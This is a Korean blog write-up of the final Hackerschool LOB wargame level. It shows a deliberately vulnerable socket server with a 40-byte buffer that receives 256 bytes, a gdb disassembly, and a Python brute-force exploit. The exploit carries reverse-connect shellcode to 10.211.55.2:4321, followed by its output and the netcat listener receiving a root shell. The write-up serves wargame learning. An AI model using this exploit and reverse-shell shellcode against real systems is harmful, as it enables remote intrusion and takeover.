LOB_xavious
[xavius@localhost xavius]$ bash2 [xavius@localhost xavius]$ ls death_knight death_knight.c [xavius@localhost xavius]$ cat death_knight.c /* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); } |
bash2 띄우고, 이번엔 소켓 프로그래밍 소스가 보이네요
리모트 어택 문제인 것 같습니다.
소켓 프로그래밍에 대한 설명은 생략하겠습니다.
소스를 보니 6666포트로 접속하면 되겠네요.
buffer 크기는 40바이트인데, 클라이언트로부터 256바이트를 입력받는 부분에 오버플로가 발생합니다.
0x8048a05 <main+321>: push $0x0 0x8048a07 <main+323>: push $0x100 0x8048a0c <main+328>: lea 0xffffffd8(%ebp),%eax 0x8048a0f <main+331>: push %eax 0x8048a10 <main+332>: mov 0xffffffd0(%ebp),%eax 0x8048a13 <main+335>: push %eax ---Type <return> to continue, or q <return> to quit--- 0x8048a14 <main+336>: call 0x804860c <recv> |
recv(client_fd, buffer, 256, 0); 부분을 보니, buffer는 ebp-0x28에 위치하네요.
dummy는 없으므로 바로 익스플로잇을 작성해 공격해보겠습니다.
#!/usr/bin/python from socket import * from struct import * p = lambda x : pack("<L", x) up = lambda x : unpack("<L", x)[0] #reverse_connect 10.211.55.2:4321 shellcode=\ "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+\ "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a\xd3\x37\x02\x68"+\ "\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"+\ "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x52\x53\x89\xe1\xb0\x0b\xcd\x80" for i in range(0xFF, 0x00, -1): for j in range(0xFF, 0x00, -1): payload="A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*80+shellcode print "addr : " + str(hex(up(chr(j)+chr(i)+"\xff\xbf"))) s=socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 6666)) print s.recv(52) print s.recv(6) s.send(payload) s.close() |
미리 만들어둔 IP 10.211.55.2, PORT 4321 에 리버스 커넥트 하는 쉘코드를 이용해
브루트 포싱을 통해 공격하였습니다.
…생략… You : addr : 0xBFFFFF6BL Death Knight : Not even death can save you from me! You : addr : 0xBFFFFF6AL Death Knight : Not even death can save you from me! |
ORANG@MacBook-Air:/opt/msf$ nc -l 4321 id uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight) my-pass euid = 520 got the life |
netcat을 통해 대기중에던 10.211.55.2의 터미널에 성공적으로 연결되었네요ㅎㅎ
LOB_death_knight
Lord of BOF 레드햇 버전 클리어!!
'System Hacking > 해커스쿨 LOB' 카테고리의 다른 글
해커스쿨 LOB 문제풀이 최종본 pdf by ORANG (2) | 2014.10.22 |
---|---|
해커스쿨 LOB ( nightmare -> xavius ) by ORANG (0) | 2014.10.22 |
해커스쿨 LOB ( succubus -> nightmare ) by ORANG (0) | 2014.10.21 |
해커스쿨 LOB ( zombie_assassin -> succubus ) by ORANG (0) | 2014.10.21 |
해커스쿨 LOB ( assassin -> zombie_assassin ) by ORANG (0) | 2014.10.21 |